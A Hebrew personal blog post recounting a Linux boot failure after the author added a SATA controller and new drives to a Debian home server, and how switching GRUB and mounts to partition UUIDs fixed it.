שניהם היו כמובן בממשק SATA, והתסבר שהמחשב שאליו הם מיועדים סבל ממחסור חמור בערוצי SATA פנויים, כל שני הערוצים שעל לוח האם שלו היו תפוסים.
בינתיים התקנתי את הדיסק במחשב השני, והזמנתי כרטיס בקר SATA שמוסיף עוד ארבעה ערוצי SATA. אתמול הוא הגיע לשמחתי, וכשחזרתי מהעבודה התיישבתי להתקין את הבקר, את הכונן הקשיח ואת הכונן DVD.
בהתחלה פשוט התקנתי את הכל, הדלקתי את המחשב וקיוויתי לטוב – תקוות שהתבדו מהר מאוד: המחשב נתקע בBOOT, לפני שהתחיל להעלות את GRUB (טוען הBOOT של לינוקס). התחלתי לשחק קצת בחיבורים וגיליתי שהמחשב לא אוהב שאני מחבר את הDVD לבקר הSATA החדש, ולכן חיברתי אותו ישירות ללוח האם ואת אחד משני הכוננים הקשיחים הישנים חיברתי לבקר הSATA. אחרי שהמחשב הצליח להכנס לGRUB כאשר כל ארבעת הכוננים מחוברים (שני הרדיסקים ישנים, אחד חדש וכונן DVD חדש), הקרנל התחיל לעלות ונתקע כמובן כשחיפש את מערכת הקבצים במחיצת השורש (/)
חשבתי לעצמי, בטח הוא לא אוהב את השינויים, וניתקתי הכל כדי לוודא שהוא עובד במצב שבו הוא היה קודם.
במפתיע, הוא עדיין סרב לעלות כשלא מצא את מערכת הקבצים של /.
עכשיו כבר התחלתי לנסות להעריך כמה זמן יקח לי להתקין את הכל מחדש ולהביא את העסק למצב עובד (זה שרת הדואר שלי, ולא רציתי להשאיר אותו לא עובד), לא אהבתי את ההערכה.
החלטתי לנסות לעלות מדיסק של Knoppix 4.0 ישן שהיה לי, אבל הוא טען שהביוס שלי דפוק במיוחד וסירב לעלות. חשבתי לעצמי שאולי הדיסק KNOPPIX דפוק במיוחד וצרבתי את Knoppix 5.1, שהסכים עם הדיסק הקודם בדיאגנוזה וסרב גם הוא לעלות.
שלפתי מהמחסן את אחד מכונני הDVD הישנים שלי, שהתעטר בכיתוב "אולי דפוק, 22/2/2008", ניסיתי אותו ומשם דווקא Knoppix הסכים לעלות (לא שכחתי לסמן את הכונן בכיתוב "מספיק טוב בשביל קנופיקס, 14/4/2008") – בשיטוט במחשב מתוך הקנופיקס שמתי לב שהכונן החדש התיישב לו על SDA ודחף את הכונן הראשון שהיה בSDA אל SDC. זה גרם לי לחשוב שאולי זו הבעיה.
ביצעתי BOOT רגיל אל GRUB, ופתאום שמתי לב שהשורה של הקרנל נראית ככה:
[code]
kernel /boot/vmlinuz-2.6.24-1-686 root=/dev/hde1 ro
[/code]
שורה שאופיינית לטעינת הקרנל מדיסק ATA רגיל ולא מSATA (שמופיע תחת sdx ולא תחת hdx).
התחלתי לנחש ולנסות כל מני אפשרויות ובסוף הצלחתי לבצע BOOT כאשר השורש בsdb2, סוף סוף קצת התקדמות!
חיברתי את כל הכוננים, ניחשתי וניחשתי שוב עד שהצלחתי עם sdc2, ונכנסתי למערכת.
לא ממה התחשק לי לשנות את הfstab ואת קובץ התפריט של GRUB לתצורה החדשה, כי ידעתי שברגע שאני אשנה משהו בחומרה הכל ישבר שוב.
נכנסתי ל#debian@irc.freenode.net, ושאלתי איך מונעים מהקרנל לשנות את שמות הכוננים כל פעם שמשהו משתנה.
ענו לי שאפשר, אבל זה קשה, ועדיף בכלל לעגן מחיצות לפי הUUID, ולא לפי שם הכונן.
UUID למחיצה? לא ידעתי שיש!
מסתבר שזה פשוט במיוחד, החל מגרסא מסויימת של הקרנל, יש בdev ספריות חדשות:
[code]
/dev/disk/by-id/
/dev/disk/by-label/
/dev/disk/by-path/
/dev/disk/by-uuid/
[/code]

הספריה שמעניינת אותנו במקרה הזה היא /dev/disk/by-uuid/ שמכילה קבצים שנראים כך:
[code]
0427f3ec-17e1-4cd1-b195-7f5bdf861a28 -> ../../sdc3
3f7f2c77-88af-4e9a-a139-ba95900e0354 -> ../../sdb1
[/code]

אלו לינקים סימבוליים שנוצרים אוטומטית, ומאפשרים גישה אל המחיצה בצורה שאינה תלויה בשם של הכונן עליו היא יושבת.
המזהה היחודי (UUID) של המחיצה לא משתנה עד שלא יוצרים מחדש את המחיצה (או אולי מפרמטים אותה, אני לא בטוח).
כמובן שאפשר להשתמש בו גם מתוך קובץ התפריט של grub:
[code]
kernel /boot/vmlinuz-2.6.24-1-686 root=/dev/disk/by-uuid/8397dc08-be26-491d-9a06-c3fc93303d82 ro
[/code]

אחרי כל זה, הכל עובד שוב, הנה נשרף לו ערב שיכול היה לשמש אותי לדברים מועילים יותר, אבל למדתי כמה דברים.

אגב, לדעתי מה שגרם לכל הסיפור הזה היה קודם כל שדרוג שביצעתי לקרנל דרך apt-get לפני מספר שבועות, שקילקל את menu.lst של GRUB.
בגלל זה גם כשניתקתי את הכל וחזרתי למצב הראשוני עדיין לא הצלחתי לבצע BOOT.
המסקנה שלי היא שצריך לבדוק טוב טוב את menu.lst אחרי שדרוג של הקרנל (אם אני אגיד את זה בקול רם אולי אני אזכור את זה בפעם הבאה!).
בנוסף, כדאי להשתמש בUUID ולא בשם הדיסק כשמעגנים מחיצות.

לבסוף, אני גאה לציין שהמחשב הסלוני שלי, שמשמש אותי כשרת דואר וכמכונת ווידאו סלונית שודרג בהצלחה ועכשיו יש לו נפח איחסון של 200+200+500=900GB.
האח, הידד.